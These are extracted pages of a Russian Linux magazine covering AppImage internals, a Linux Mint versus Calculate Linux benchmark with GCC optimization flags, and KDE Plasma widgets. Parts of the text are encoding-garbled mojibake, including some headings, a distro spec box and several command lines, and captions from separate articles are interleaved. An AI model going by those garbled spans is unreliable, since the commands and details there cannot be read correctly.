SIGIL 0.2.4 
( MB)

 
SHOTWEL
PHOTO 
VIEWER 
0.6.1 
( MB)
 
SHOTWEL
PHOTO 
MANAGER
0.5.0 
( MB)
 

используемого для создания файловых систем в пространстве 
пользователя (позже мы узнаем, зачем она нужна), но что же такое 
вторая? Это библиотека для работы с данными и их хранения, часть 
графического тулкита GTK (на котором основан Gnome), но может 
использоваться и консольным софтом, таким как mc. Она действи-
тельно есть по умолчанию в большинстве дистрибутивов, но вполне 
может и отсутствовать.
В Kubuntu libglib-2.0 имеется, поэтому остается только доустановить 
libfuse. Набираем «sudo apt-get install libfuse2» и… «Уже установле-
на самая новая версия libfuse2». Оказывается, либа уже в системе 
(действительно, она используется в драйвере NTFS-3g, который 
есть в любом Ubuntu), но почему ее не может найти наша программа? 
Ответ на этот вопрос прост: на 64-битном ядре libfuse невозможно 
собрать в режиме совместимости с 32-битным софтом, коим является 
наша портабельная Opera 10.70. Вывод: пользуйтесь 32-битным 
линуксом.
Отлично, берем 32-битный Ubuntu 10.04 и ставим его в виртуалку. 
Скачиваем все тот же файл «Opera 10.70», делаем исполняемым, 

запускаем. На этот раз все прошло отлично, программа запустилась 
почти без задержек и продолжала нормально функционировать 
на протяжении двух часов. Однако после закрытия приложения на 
диске был найден каталог «.opera», содержащий конфигурацию 
браузера, что свидетельствует о достаточно серьезной недоработке 
технологии (какой прок от такого браузера, если я не могу утащить 
его вместе со своими настройками и паролями на флешке или через 
Dropbox).
Короче, первый раунд AppImage с треском проигрывает, так как и 
работает далеко не везде (64-битные машины сейчас повсеместны), 
и всем требованиям портабельности не соответствует. На очереди 
вскрытие.

Что внутри?
Попробовав портативные приложения в деле, постараемся разо-
браться, как они работают и чем отличаются от обычных дистрибу-
тивных пакетов вроде Deb и RPM. Сами создатели AppImage не особо 
заботятся о документировании своей технологии, говоря только о 
том, что приложения упакованы в обычный ISO-образ, который вклю-
чает в себя программу и все ее зависимости, поэтому дальнейшие 
изыскания придется проводить самостоятельно.
Упакованная по правилам AppImage программа действительно 
представляет собой ISO-образ. Это легко проверить, если набрать 
команду mount сразу после запуска приложения и посмотреть на 
последнюю строчку. В начало образа (а точнее, прямо перед ним) 
записана небольшая программа (назовем ее загрузчиком), которая 
монтирует образ к временному каталогу (с помощью того самого fuse) 
и запускает содержащийся внутри скрипт AppRun, который запускает 
саму программу. Именно благодаря загрузчику AppImage-прило-
жение можно запустить сразу после скачивания, необходимости в 
распаковке нет.
Во всем остальном это самый обычный ISO-образ, который можно 
смонтировать, чтобы изучить содержимое:

$ mkdir /tmp/appimage

$ sudo mount -o loop Opera\ 10.70 /tmp/appimage

$ cd /tmp/appimage && ls

 077

AppImageAssistant — графическая программа для 
создания AppImage

Пакеты AppImage очень легко исследовать
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Что мы видим внутри? Во-первых, корневой скрипт AppRun, который 
запускается загрузчиком сразу после монтирования ISO-образа. Его 
задача — подготовить приложение к работе и передать ему управление.

СОДЕРЖИМОЕ APPRUN

HERE=$(dirname $(readlink -f "${0}"))

export OPERA_DIR="${HERE}"/share/opera

exec "${HERE}"/lib/opera/opera "$@"

Эти три строки присваивают переменной окружения OPERA_DIR 
значение «/текущий_каталог/share/opera» и запускают программу 
из каталога «/текущий_каталог/lib/opera». Очевидно, OPERA_DIR 
указывает на каталог с ресурсами приложения, поэтому браузер ис-
пользует его вместо стандартного «/usr/share/opera». Скорее всего, 
в случае многих других приложений скрипту AppRun пришлось бы 
использовать более хитрые приемы, чтобы переопределить дефол-
товый каталог и обмануть приложение (например, символические 
ссылки), но здесь все просто. Следующий стандартный компонент 
AppImage — это файл opera-browser.desktop, содержащий мета-
данные приложения, такие как имя, путь к иконке (в данном случае 
— opera-browser.png), категории, к которым относится приложение, 
комментарии, типы ассоциированных с приложением файлов и т.д. 
(все в соответствии со стандартами freedesktop). Сама иконка про-
граммы дополнительно продублирована в скрытом файле .DirIcon.
Остальное содержимое образа — компоненты самого приложения. 
В данном случае это файлы LICENSE, install, opera-widget-manager 
и каталоги share и lib, представляющие собой локальную версию 
каталогов /usr/share и /usr/lib. Первый содержит все необходимые 
приложению ресурсы, документацию, man-страницы, второй — биб-
лиотеки зависимостей и сам исполняемый файл. У Opera зависи-
мостей мало (разработчики компилируют ее статически, включая 
в бинарник даже библиотеку Xlib для работы с X Window), поэтому 
каталог lib почти пуст, только парочка библиотек самой программы и 
два плагина для Gstreamer. В целом, изнутри все выглядит довольно 
логично и просто, поэтому можно предположить, что и создавать 
такие образы будет легко.

AppImage своими руками
Путем вскрытия существующего AppImage-приложения мы узнали, 
какие компоненты оно может содержать. Обязательными из них 
являются всего три:
• Каталоговая структура самого приложения (бинарник, ресурсы, 
библиотеки-зависимости)
• Скрипт запуска приложения AppRun
• Файл .desktop, содержащий метаданные
Есть два способа создания этих компонентов: самостоятельная сбор-
ка приложения, написание AppRun и .desktop-файлов (последний 

обычно идет в комплекте с исходниками) или же вытягивание всего 
этого из уже существующих и заведомо работоспособных deb-паке-
тов. Не думаю, что первый способ придется кому-то по вкусу, поэтому 
сразу перейдем ко второму. Тем более, что он считается официаль-
ным и достаточно подробно описан на сайте Elementary Project (www.
elementary-project.com/wiki/index.php?title=Creating_AppImages).
Подыскиваем подходящий пакет и распаковываем его с помощью 
следующей команды:

$ ar xv ïàêåò.deb

Видим три файла: control.tar.gz, data.tar.gz и debian-binary. Первый 
и последний нам неинтересны, поэтому их можно смело удалять. 
Второй файл содержит всю необходимую каталоговую структуру при-
ложения как раз в нужном нам виде. Распаковываем его:

$ tar xzf data.tar.gz

И переименовываем получившийся каталог так, чтобы его новое имя 
заканчивалось на .appdir:

$ mv data ïàêåò.appdir

Копируем файл имя_приложения.desktop из каталога пакет.appdir/
usr/share/applications в корень каталога пакет.appdir. Помещаем туда 
же скрипт AppRun, загруженный с сайта Elementary Project:

$ cd ïàêåò.appdir

$ wget www.elementary-project.com/downloads/AppRun

$ chmod +x AppRun

Запускаем скрипт AppRun, чтобы проверить приложение на ра-
ботоспособность. Если заработало, значит, теперь у нас есть так 
называемый AppDir (Application Directory) — приложение, полностью 
заключенное в один каталог. Осталось только упаковать его в ISO-
образ и добавить в начало загрузчик. Это можно сделать с помощью 
графического приложения AppImageAssistant (www.elementary-
project.com/downloads/apps/AppImageAssistant). Просто запускаем 
приложение, нажимаем кнопку «Forward», выбираем каталог пакет.
appdir и вновь нажимаем «Forward». Все, AppImage готов.
Однако так просто все выглядит только на бумаге (точнее, на сайте 
Elementary Project). На самом деле процесс несколько сложнее. 
Дело в том, что .desktop-файл, представляющий собой обязатель-
ный компонент AppDir, можно найти далеко не в каждом пакете. 

Команда mount сразу выдает, что такое AppImage 
на самом деле

AppImage и RISC OS

В 1988 году компания Acorn Computers выпустила операционную сис-
тему RISC OS 2.00, предназначенную для компьютеров собственного 
производства. Кроме идеи файлов как логического центра графи-
ческого интерфейса, операционка предлагала еще одну интересную 
концепцию под названием AppDir: любое приложение представляло 
собой специальный каталог, имя которого начиналось с восклицатель-
ного знака. При виде такого каталога файловый менеджер автома-
тически принимал его за исполняемый файл, а при клике — запускал 
файл !Run, расположенный внутри. Позже эту идею сперли создатели 
NEXTSTEP, но гораздо более интересным для нас является тот факт, 
что она же была реализована в файловом менеджере ROX-Filer (имя 
которого так и расшифровывается — RISC OS on X).
Создатели ROX лишь немного изменили первоначальную идею, 
заменив имя файла !Run на AppRun, файла !Sprites — на .DirIcon, 
выкинули из названия восклицательный знак и добавили вместо него 
расширение .appdir. Все это без изменений перекочевало в AppImage 
и обзавелось обязательным .desktop-файлом.
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Изначально он был придуман для того, чтобы облегчить поиск и 
классификацию приложений в средах рабочего стола, поэтому в 
консольных приложениях его обычно нет, как нет и в старых, но 
хороших графических программах. Стандартный скрипт AppRun, 
доступный на сайте Elementary Project, также далек от идеала и не 
может обеспечить корректный запуск любого приложения. Все, что 
он делает — это выискивает в .desktop-файле путь к исполняемому 
файлу приложения, добавляет к путям поиска библиотек и команд 
локальные каталоги AppDir (например, пакет .appdir/usr/lib и пакет. 
appdir/usr/bin) и запускает исполняемый файл. Естественно, если 
обычное приложение хранит свои ресурсы где-нибудь в /usr/share, 
то при упаковке в AppImage они окажутся вне образа, и оно не 
сможет получить к ним доступ. Мы уже говорили о том, что в случае с 
браузером Opera эта проблема решается просто через присваивание 
имени нужного каталога переменной OPERA_DIR, в других случаях 
придется прибегать к более изощренным приемам.

История вопроса
Портабельные приложения были придуманы давно, но из-за простоты 
и очевидности идеи очень трудно понять, кто это сделал впервые. 
Ведь даже в DOS, где о каких-то идеях и концепциях дизайна ОС гово-
рить просто смешно, каждая вторая программа вполне могла носить 
статус Portable. Если же говорить о более экзотических ОС, то тут сразу 
вспоминается операционка компьютеров NEXTSTEP и ее более совре-
менный и разрекламированный потомок под названием Mac OS X. 
В этих ОС любое приложение представляет собой файл с расшире-
нием .app (на самом деле это каталог, который обрабатывается как 
отдельный файл), содержащий все компоненты приложения.
Еще раньше похожий подход применялся в операционной системе 
RISC OS, многие идеи которой позднее перекочевали в файловый 
менеджер ROX (об этом читай во врезке «AppImage и RISC OS»). 
В UNIX-системах же подобные идеи обособления приложений в 
отдельные файлы и каталоги всегда считались ересью и провали-
вались в самом начале своего пути. Испокон веков UNIX исповедует 
собственную философию размещения файлов внутри файловой сис-
темы. Бинарные файлы — в одном каталоге, документы — в другом, 

библиотеки — в третьем. На момент появления UNIX эта идея была 
замечательной и делала разработчиков и пользователей счастливы-
ми. Для просмотра доступных команд можно было вывести листинг 
каталога /bin, а для указания местоположения всех библиотек при 
сборке софта указать каталог /lib. Проблема этой идеи лишь в том, 
что она не рассчитана на установку дополнительного софта. Когда 
UNIX и философия открытых исходников стали популярны, количес-
тво стороннего ПО возросло в сотни раз, и с ним необходимо было 
что-то делать (не использовать же метод «make install» всю оставшу-
юся жизнь). И вот, чтящие традиции юниксоиды вместо того, чтобы 
действительно решать проблему, пошли по проторенной дорожке и 
создали пакетные менеджеры, которые встраивают новый софт в уже 
известную каталоговую структуру, предложенную еще 40 лет назад, а 
все те, кто двинулся иными путями, были объявлены иноверцами.
Со скрипом и множеством проблем, но такой прием все же про-
шел, и теперь мы имеем пакетные менеджеры, которые правильно 
распознают зависимости, легко устанавливают софт из удаленных 
репозиториев и могут обновить хоть всю ОС за раз. Однако до сих пор 
остаются нерешенными проблемы dll hell (одна программа требует 
одну версию либы, другая — другую, третья — третью, пакетный ме-
неджер в шоке), огромного бардака в каталоге /usr (к какому пакету 
относится этот файл?), невозможности установки нескольких версий 
одной программы (подходы типа «apt-get install firefox3 firefox4» не 
в счет) и банальной потери базы пакетов (стерли ее — и пакетный 
менеджер беспомощен). В некоторых ситуациях этот классичес-
кий подход к установке ПО оказывается выигрышным. Например, 
в серверных вариантах ОС он дает UNIX большое преимущество, 
однако для простого пользователя оказывается жутко неудобным и 
создает гораздо больше проблем, чем предлагает решений. Именно 
поэтому в последнее время идее портабельных приложений в Linux 
уделяют особое внимание. Одним из первых был проект Zero Install 
(zero-install.sourceforge.net), в свое время претендовавший на роль 
универсального менеджера пакетов всех времен и народов. Затем 
был Klick (klik.atekon.de) с лозунгом «Простейший путь загрузки и 
запуска приложений без установки». Теперь AppImage.

Выводы
AppImage-приложения не такие уж и портабельные, как заявляют их 
создатели, к тому же их просто делать только на бумаге. Скорее всего, 
они не займут достойное место в истории Linux, зато в очередной раз 
доказывают правильность утверждения о том, что домашний Linux 
должен отличаться от Linux'а серверного. z 

Толстый эльф

Год назад Ryan C. Gordon объявил о создании нового формата испол-
няемых файлов FatELF, который позволяет выполнять один и тот же 
бинарный файл на разных архитектурах. Например, без изменений 
запускать программу на процессорах архитектуры ARM и x86. В 
совокупности с идеей портабельных приложений FatELF позволил бы 
создать по-настоящему универсальные программы, которые работают 
везде и всегда.

Opera, запущенная из одного файла

portablelinuxapps.org — источник portable-софта
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Зачем 
оптимизировать 
Linux?
Действительно, зачем нужно пересобирать 
систему? Ведь мощности современных 
компьютеров уже давно преодолели тот ру-
беж, когда нужно было выжать максимум из 
железа и ОС, чтобы посмотреть фильм или 
поиграть в игру. В начале 21 века я почти 
два года работал в source-based дистрибу-

тивах Gentoo и затем — Crux. И только из-за 
того, что только полностью оптимизирован-
ная система позволяла нормально смотреть 
сжатое видео на компе с CPU Celeron 300A. 
Подход, принятый во FreeBSD, вызывал 
тогда большой энтузиазм и, несомненно, 
дал еще один импульс развитию Linux. Но 
сегодня разница в производительности 
между дистрибутивами уже не так ощутима, 
многие стали переходить на более удобные 

в работе Debian и Ubuntu. Например, свой 
двухъядерный атлон я видел полностью 
нагруженным только два раза, и то в тех 
режимах, которые нельзя назвать штат-
ными. Теперь для меня на первый план 
выходит удобство в развертывании системы 
и установке программ. Ждать, пока ском-
пилируется прога, уже тяжело. В Gentoo, 
кстати, тоже это понимают, и в настоящее 
время проект вообще не предлагает Stage 

Ôëàãîì ïî 
ïðîèçâîäèòåëüíîñòè
Ñîðåâíîâàíèÿ ïî ñêîðîñòíîìó çàáåãó: Linux Mint 9 
vs Calculate Linux Desktop 10.9

    Сергей  «grinder» Яремчук  grinder@tux.in.ua

  Gentoo îáðåë ïîïóëÿðíîñòü èìåííî áëàãîäàðÿ âîçìîæíîñòè 
îïòèìèçèðîâàòü âñþ ñèñòåìó, âûæàâ èç îáîðóäîâàíèÿ ìàêñèìóì. 
Ãåíòóøíèêè ñóòêàìè íàïðîëåò èùóò âîëøåáíóþ êîìáèíàöèþ gcc’øíûõ 
ôëàãîâ è ïåðåñîáèðàþò ñâîé äèñòð, óáóíòîâöû æå â ýòî âðåìÿ 
çàíèìàþòñÿ ñâîèìè äåëàìè. Äàâàé ïðîâåðèì, íàñêîëüêî ýôôåêòèâíà 
îïòèìèçàöèÿ.

UNIXOID
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1 и Stage 2, использование которых в свое время позволяло макси-
мально оптимизировать систему, но увеличивало время на установку, 
отнимало место на харде, и главное — увеличивало риск возникнове-
ния ошибки. Поэтому прирост производительности в 3-5%, которые 
давали Stage 1 и 2, по сравнению со Stage 3, стал многим неинтере-
сен.
C другой стороны, пользовательские дистрибутивы сегодня выпус-
каются с двумя видами оптимизации: x86 и x64 (то есть фактически 
оптимизированный). Первый позиционируется как универсальный, 
подходящий под большинство систем, второй обеспечивает макси-
мальную производительность. Имея на руках два и более компьютера 
с разными процессорами, удобнее вариант с x86 — так проще обнов-
лять системы, создав локальный репозиторий. Но все равно некото-
рым юзверям проблема «неполной оптимизации» системы не дает 
спать спокойно, ведь из компа выжата «не вся производительность».
Поэтому, чтобы снять все вопросы, проведем небольшой тест произ-
водительности, в котором сравним два дистрибутива: пакетного Linux 
Mint 9 и source-based Calculate Linux Desktop 10.9 beta (CLD). Первый 
построен на Ubuntu и имеет несколько дополнительных приложений, 
которые делают работу более понятной новичку. Второй основан на 
Gentoo, полностью с ним совместим, причем сегодня его часто ис-
пользуют сами гентушники, чтобы быстро установить свой любимый 
дистрибутив (при желании из CLD легко делается «чистый» Gentoo). 
Оба решения достаточно популярны среди пользователей, и стать 
первыми им мешает только отсутствие должного PR.
В Linux Mint посмотрим, как влияет на производительность оптими-
зация системы под i386 и amd64. Версия CLD 10.9 beta доступна пока 
только в i686 сборке — ее мы и будем тестить, немного поэксперимен-
тировав с флагами оптимизации.

Linux Mint 9 «Isadora»

Ñàéò ïðîåêòà: linuxmint.com

Äàòà âûõîäà: 18 ìàÿ 2010

Ëèöåíçèÿ: GNU GPL

Àïïàðàòíûå ïëàòôîðìû: x86_32, x86_64

Îñíîâíûå êîìïîíåíòû: kernel 2.6.32, glibc 2.11.1, GCC 

4.4.3, UDEV 151, HAL 0.5.14, X.Org 1.7.6, Compiz 0.8.4, 

GNOME 2.30.0, Mesa 7.7.1

Calculate Linux Desktop 10.9 beta

Ñàéò ïðîåêòà: calculate-linux.ru

Äàòà âûõîäà: 26 àâãóñòà 2010

Ëèöåíçèÿ: GNU GPL

Àïïàðàòíûå ïëàòôîðìû: x86_32, x86_64 (ïîêà íåäîñòóïíà)

Îñíîâíûå êîìïîíåíòû: kernel 2.6.34.4, glibc 2.11.2, GCC 

4.4.3, UDEV 151, HAL 0.5.14, X.Org 1.7.7, Compiz 0.8.4, 

GNOME 2.30.0, Mesa 7.8.2

Все системы находились в одинаковых условиях, устанавливались в 
один и тот же раздел. В качестве видеодрайвера использовался стан-
дартный из поставки X.Org. Конфигурация тестового компьютера: AMD 
Athlon 64 X2 Dual-Core 3600+/2 Гб ОЗУ/Seagate Barracuda ST3160815A/
ATI Radeon X800 GTO. Бенчмарки будем снимать при помощи свободно 
распространяемого мультиплатформенного фреймворка Phoronix Test 
Suite 2.8 «Lyngen» (phoronix-test-suite.com), который удобен в исполь-
зовании и содержит более 130 профилей тестов для самых разных 
подсистем. Для Debian/Ubuntu на сайте проекта доступен deb-пакет. 
В портежах Gentoo также есть нужный ebuild, но более ранней версии, 
поэтому в CLD для установки будем использовать Generic Pаckage. Для 
его работы понадобится php cli, который мы поставим самостоятельно 
при помощи emerge. Список всех доступных тестов можно получить, 
введя команду «phoronix-test-suite list-tests», получить данные по тесту 
— «phoronix-test-suite info <test name>» (строка Test Type покажет тип 
теста) и, наконец, запустить тест — «phoronix-test-suite benchmark <test 
name>». После ввода последней команды будут автоматически скачаны 
и установлены необходимые для проведения теста зависимости и 
компоненты, затем будет проведен тест и выдан результат. Все файлы 
и результаты сохраняются в каталоге ~/.phoronix-test-suite. Учитывая, 
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Тест QGears2 нагружает видеоподсистему

• Сайт Phoronix Test 
Suite — phoronix-test-
suite.com
• Параметры оптими-
зации GCC — gcc.gnu.
org/onlinedocs
• Флаги, рекоменду-
емые гентушниками: 
en.gentoo — wiki.com/
wiki/Safe_Cflags/Intel, 
en.gentoo-wiki.com/
wiki/Safe_Cflags/AMD
• Оптимизация CLD 
— calculate-linux.ru/
main/ru/optimization_
of_system

links

HTTP://WWW
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что для некоторых тестов общий размер файлов, которые необходимо 
скачать из инета, может достигать 1,5 Гб, после проведения всех за-
меров лучше их сохранить для повторного использования. Для этого 
выполни команду «phoronix-test-suite make-download-cache». Все 
скачанные файлы будут перемещены в подкаталог download-cache. 
Результаты самих тестов сохраняются в подкаталоге test-result. При 
тестировании на другой системе следует перенести оба этих каталога.
Теперь тесты, которые были выбраны. Естественно, что все 133 прого-
нять не имело смысла (кроме того, некоторые из них требуют платных 
компонентов), поэтому мы остановились на 10 самых популярных (из 
VERIFIED, FREE). Приведу несколько тестов, нагружающих процес-
сор: build-mplayer, john-the-ripper (Traditional DES), compress-gzip 
(сжатие 2 Гб файла) encode-flac, encode-ogg, mencoder (кодирование 
AVI to LAVC), openssl. Чтобы нагрузить еще и графическую подсистему, 
попробуем тест warsow (с разрешением 800x600), основой которого 
является одноименный FPS (warsow.net), и несколько OpenGL-тестов 
из qgears2. К слову, чтобы заработал qgears2 в CLD, потребовалось 
выполнить:

# emerge qt-opengl

Общая производительность системы замерялась при помощи теста 
phpbench, который проверял количество PHP-запросов. Phoronix Test 
Suite прогоняет тест 3-5 раз и выдает средний показатель и откло-
нение. В тех случаях, когда результат выбивался из общей картины, 
бенчмарк запускался повторно.

32 бита vs 64 бита
Большинство современных дистрибутивов Linux выпускается 
в двух вариантах сборки: под 32- и 64-битные процессоры. 
Первый по идеологии обеспечивает большую совместимость, 
второй — производительность. В случае 32-битного варианта в 
зависимости от конкретного дистрибутива встречаются сборки 
под i386, i486, i586 и i686, которые означают архитектуру процес-
сора — чем ниже номер, тем больше совместимость. К слову, 
архитектура P6 (i686, Pentium Pro) представлена в конце 1995 
года, и на меньших процессорах сегодня мало кто работает. По-
этому не совсем понятно, почему некоторые современные дис-
трибутивы до сих пор используют оптимизацию под младшие 
типы процессора i386-i586, тем более, что они уже не соответс-
твуют минимальным системным требованиям (Крис разбирался 
с этим вопросом в статье «Подводные камни оптимизации», 
опубликованной в ][ от 04.2007 — прим.ред.) Кроме этого, в стар-
ших типах процессоров появились дополнительные инструкции 
(вроде MMX, SSE, 3DNow и т.д.), что теоретически увеличивает 
производительность при работе с мультимедиа.
Версия 32 бита Linux Mint 9 (как и Ubuntu) собрана с i386 оптими-
зацией, то есть самый-самый минимум. Стоит отметить, на сайте 

Ubuntu версия 32 бита отмечена как «Recommended for most 
users», 64-битная же наоборот: «Not recommended for daily desktop 
usage». И такое читаем при том, что современные ПК сплошь и 
рядом 64-битные. Смотрим результаты бенчмарков:

Linux Mint 9 (32bit)

warsow - 2.57 FPS

build-mplayer - 260.97 sec

john-the-ripper - 950160333 Real C/S

compress-gzip - 54.61 sec

encode-flac - 25.70 sec

encode-ogg - 36.87 sec

mencoder (AVI to LAVC) - 54.27

openssl - 11.90 Signs PS

phpbench - 19573.00 Score

QGears2:

CPU-based Raster - Test: Gears - 24.49 FPS

XRender Extension - Test: Gears - 42.32 FPS

OpenGL - Test: Gears - 67.68 FPS

Linux Mint 9 (64bit)

warsow - 2.60 FPS

build-mplayer - 194 sec

john-the-ripper - 928921000 Real C/S

compress-gzip - 55.17 sec

encode-flac - 14.57 sec

encode-ogg - 25.39 sec

mencoder (AVI to LAVC) - 53.24 sec

openssl - 37.75 Signs PS

phpbench - 28621 Score

QGears2:

CPU-based Raster - Test: Gears - 25.64 FPS

XRender Extension - Test: Gears - 48.72 FPS

OpenGL - Test: Gears - 87.56 FPS

Для тестирования Phoronix Test Suite можно использо-
вать GUI

Оптимизация Ubuntu/Debian
Если пользователи Gentoo говорят о возможности пересборки систе-
мы на каждом форуме, то убунтийцы и дебианщики об этом скромно 
умалчивают, считая эту операцию как минимум нецелесообразной. 
Хотя, при желании, произвести ее самостоятельно не намного слож-
нее, чем в Gentoo.
Проверяем, что у нас в /etc/apt/sources.list подключены репозитории 
исходников, такие записи начинаются с deb-src. В Linux Mint по умол-
чанию загрузка исходников отключена. Обновляем список репозито-
риев «apt-get update» и ставим пакет apt-build:

$ sudo apt-get install apt-build

В процессе установки будет задан вопрос об уровне оптимизации и 
типе процессора. Впоследствии изменить настройки можно командой 
«dpkg-reconfigure apt-build».
Теперь для установки приложений вместо apt-get и aptitude использу-
ем apt-build, параметры которого не отличаются. Так, чтобы установить 
программу, вводим сначала «apt-build update», затем «apt-build install 
название_пакета». Чтобы проапгрейдить все пакеты, вводим «apt-
build upgrade», а команда «apt-build world» пересоберет систему. Ключ 
«--force-yes» позволит полностью автоматизировать весь процесс. 
Хотя при первом запуске прога попросит тебя прочитать файл /usr/
share/doc/apt-build/README.Debian, в нем найдешь ответы на все 
вопросы. В частности, нужно создать список установленных пакетов 
командой:

$ sudo dpkg --get-selections | awk '{if ($2 == 

"install") print $1}'> /etc/apt/apt-build.list
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Прекрасно видно преимущество 64-битной системы над ее 
32-битным собратом. Практически во всех процессорных тестах 
выигрыш составляет 2-8%. Общая производительность системы 
в PHPBench вообще выросла на 46%. Единственный тест, где 
64-битная система уступила 32 битам — это перебор пароля в John 
the Ripper. Возможно, код JTR настолько вылизан, что оптимиза-
ция под 64 бита его только ухудшает. Интересно теперь посмот-
реть, как покажет себя CLD, который со своей i686-оптимизацией 
теоретически должен находиться посередине.

Calculate Linux Desktop 10.9 beta (без оптимизации)

warsow - 2.60 FPS

build-mplayer - 68.85 sec

john-the-ripper - 949247333 Real C/S

compress-gzip - 55.83 sec

encode-flac - 15.87 sec

encode-ogg - 32.80 sec

mencoder (AVI to LAVC) - 53.10 sec

openssl - 11.8 SPS

phpbench - 24907 Score

QGears2:

CPU-based Raster - Test: Gears - 25.30 FPS

XRender Extension - Test: Gears - 53.86 FPS

OpenGL - Test: Gears - 135.79 FPS

Результат интересен и неоднозначен. Так, в тесте по сборке 
MPlayer 32-битная версия CLD «сделала» 64-битную версию Linux 
Mint в 3 раза. В тесте по кодированию WAV-файла в FLAC CLD лишь 
немного уступил 64-битному Linux Mint, но при кодировании в OGG 
преимущество 64-битной системы очевидно. Все это наталкивает 
на еще один вывод — на результирующую производительность 
влияет и само приложение.
В тесте OpenSSL, в котором генерируются ключи, 32-битные сис-
темы однозначно проиграли 64-битным. В PHPBench 32-битный 
CLD уступил 64-битной системе 25%, опередив почти на столько же 
32-битный Linux Mint.
Количество FPS в Warsow уперлось, скорее всего, в производи-
тельность графической подсистемы, которую обеспечивал свобод-
ный видеодрайвер Mesa. Зато в OpenGL тесте QGears2 CLD взял 
верх, возможно, это заслуга более новой версии Mesa.
Как видишь, произведенные замеры показывают, что подход 
Gentoo имеет смысл, и для конкретной задачи следует подбирать 
свой дистрибутив. Следуя статистике, можно предположить, что 
64-битная версия CLD покажет большую производительность, чем 
Linux Mint x64. Теперь самое время разобраться, какой прирост 
дает использование флагов оптимизации.

Оптимизируем CLD
В отличие от пакетных дистрибутивов, source-based дают в руки 
пользователя полный арсенал средств оптимизации, которую можно 
производить по двум направлениям — сборка под конкретную марку 
процессора и установка дополнительных параметров. Первый 
случай понятен (через параметры «-march» или «-mtune» задает-
ся нужный тип процессора; если в качестве аргумента подставить 
native, то возможности системы будут определены автоматически 
по /proc/cpuinfo), мы его разобрали выше, и прирост, как видишь, он 
дает.
Второй вариант оптимизации интересней и, как правило, вызывает 
много споров, так как единого мнения, что лучше/хуже, на форумах не 
встретишь. При дефолтовой сборке системы, то есть без каких-либо 
параметров оптимизации, компилятор обеспечивает меньшее время 
сборки, максимальную совместимость и возможность отладки про-
грамм. Так GCC поддерживает пять уровней оптимизации: от «-O0» 
(без оптимизации) до «-O3» (максимальная оптимизация) и «-Qs» 
(оптимизация по размеру). Активация любых параметров оптимиза-
ции теоретически позволяет добиться большей производительности 
программ, уменьшить размер кода, но за счет увеличения времени 
компиляции и отказа от добавления отладочной информации. Опти-
мальным считается вариант «-O2», вариант «-O3» используют редко.
Кроме этого, доступен ряд флагов оптимизации, которые уточняют 
поведение компилятора (например, «-fomit-frame-pointer», «-ffast-
math», «-funroll-loops»). Чтобы узнать, какие из них можно указать в 
CFLAGS, следует ввести команду:

$ gcc -Q --help=optimizers | grep enabled

Все подробности по параметрам компилятора можно найти в «man 
gcc» или онлайновой документации GCC (gcc.gnu.org/onlinedocs/).
В Gentoo флаги, которые использует при сборке система Portage, 
хранятся в файле /etc/make.conf. Синтаксис файла весьма прост. Так 
переменная CHOST указывает на архитектуру, CFLAGS — на флаги 
сборки и тип процессора. При помощи MAKEOPTS задается коли-
чество потоков компиляции, нормальным считается число, равное 
количеству процессоров плюс один (хотя это не всегда идеальный 
вариант). Язык пакетов указывается при помощи LINGUAS. Раз-
работчики CLD предложили в make.conf свой вариант параметров 
оптимизации, который оптимален для большинства случаев (подроб-
нее смотри в документе «Оптимизация системы» — calculate-linux.ru/
main/ru/optimization_of_system). Нам остается лишь снять комменты в 
конфиге и скорректировать опции:

# cat /etc/make.conf

/usr/share/calculate/templates/install/merge/

В PHPBench лучший результат показал 64-битный Linux 
Mint

В John the Ripper хорошо себя показали 32-битные сис-
темы, хотя разброс всего 2%
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portage/make.conf

LINGUAS="en ru"

ACCEPT_LICENSE="*"

source /var/lib/layman/make.conf

CFLAGS="-march=native -O2 -pipe -fomit-frame-pointer"

CXXFLAGS="${CFLAGS}"

MAKEOPTS="-j3"

EMERGE_DEFAULT_OPTS="--jobs=4"

Далее пересобираем:

# emerge -e system

# emerge -e world

И повторяем тесты.

Calculate Linux Desktop 10.9 beta (с оптимизацией)

warsow - 2.60 FPS

build-mplayer - 68.14 sec

john-the-ripper - 949691333 Real C/S

compress-gzip - 52.10 sec

encode-flac - 15.92 sec

encode-ogg - 32.44 sec

mencoder (AVI to LAVC) - 50.59 sec

openssl - 11.8 SPS

phpbench - 24511 Score

QGears2:

CPU-based Raster - Test: Gears - 25.35 FPS

XRender Extension - Test: Gears - 53.78 FPS

OpenGL - Test: Gears - 142.39 FPS

Как видим из результатов, однозначного вывода от использования та-
кой оптимизации сделать нельзя. В чем-то получили совсем небольшой 
прирост (build-mplayer, john-the-ripper, compress-gzip, encode-ogg, 

mencoder, QGears2), где-то практически столько же проиграли (encode-
flac, phpbench). Хотя все, что есть, вполне укладывается в погрешность, 
которая есть у любого теста. Зато ресурсы и время, затраченные на 
пересборку системы, можно было бы использовать более продуктивно.

Выводы
Тесты показывают, что оптимизация под конкретный тип процессора 
дает результат, но насколько он будет ощутим — зависит от приложения. 
Поэтому по возможности используй 64-битную версию системы. А вот пе-
ресборка настольных приложений с применением флагов оптимизации 
на новых компах уже не так заметна. Тратить ли на это время, рисковать ли 
стабильностью ради минимального прироста — решать уже тебе.z 

Тест по кодированию 
в OGG выиграл 64-битный 
Linux Mint

В QGears2 CLD и 64-битный Linux Mint показали практи-
чески одинаковый результат
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Plasma widgets
Самое бросающееся в глаза отличие KDE4 
от KDE3 — Plasma, фреймворк рабочего 
стола, заменивший KDesktop, Kicker и 
SuperKaramba. Виджеты стали неотъ-
емлемой составляющей рабочего стола. 
Со временем их расплодилось огромное 
количество. А если учесть ограниченную 
поддержку виджетов SuperKaramba, Google 
Gadgets, Mac OS X Dashboard, то счет идет на 
тысячи. Некоторые из тех виджетов, которые 
я постоянно использую:

•  folder view ( в русской локализации — 
«просмотр папки») — совершенно стандарт-
ный виджет, но и его можно использовать «не 
по прямому назначению». Добавляем виджет 
на рабочий стол; в качестве каталога, кото-
рый он будет отображать, выбираем /tmp. 
В настройках указываем не отображать 
никаких файлов кроме «видео Flash (*.flv)». 
И все, не нужны никакие плагины для ска-
чивания видео с YouTube и иже с ним :).
•  pastebin — виджет, позволяющий в 
несколько кликов мышкой разместить 
на внешнем сервисе текст (на pastebin.

ca или pastebin.com) или изображение 
(на imagebin.ca, imageshack.us, simplest-
image-hosting.net или imgur.com). На вид-
жет можно перетаскивать текст или изобра-
жение из другого приложения — например, 
файл из Dolphin или, сделав скриншот, 
сразу же перенести его из окна KSnapshot 
на Pastebin. Или же можно повесить на вид-
жет хоткей, по которому содержимое буфера 
обмена будет отправляться на сервер.
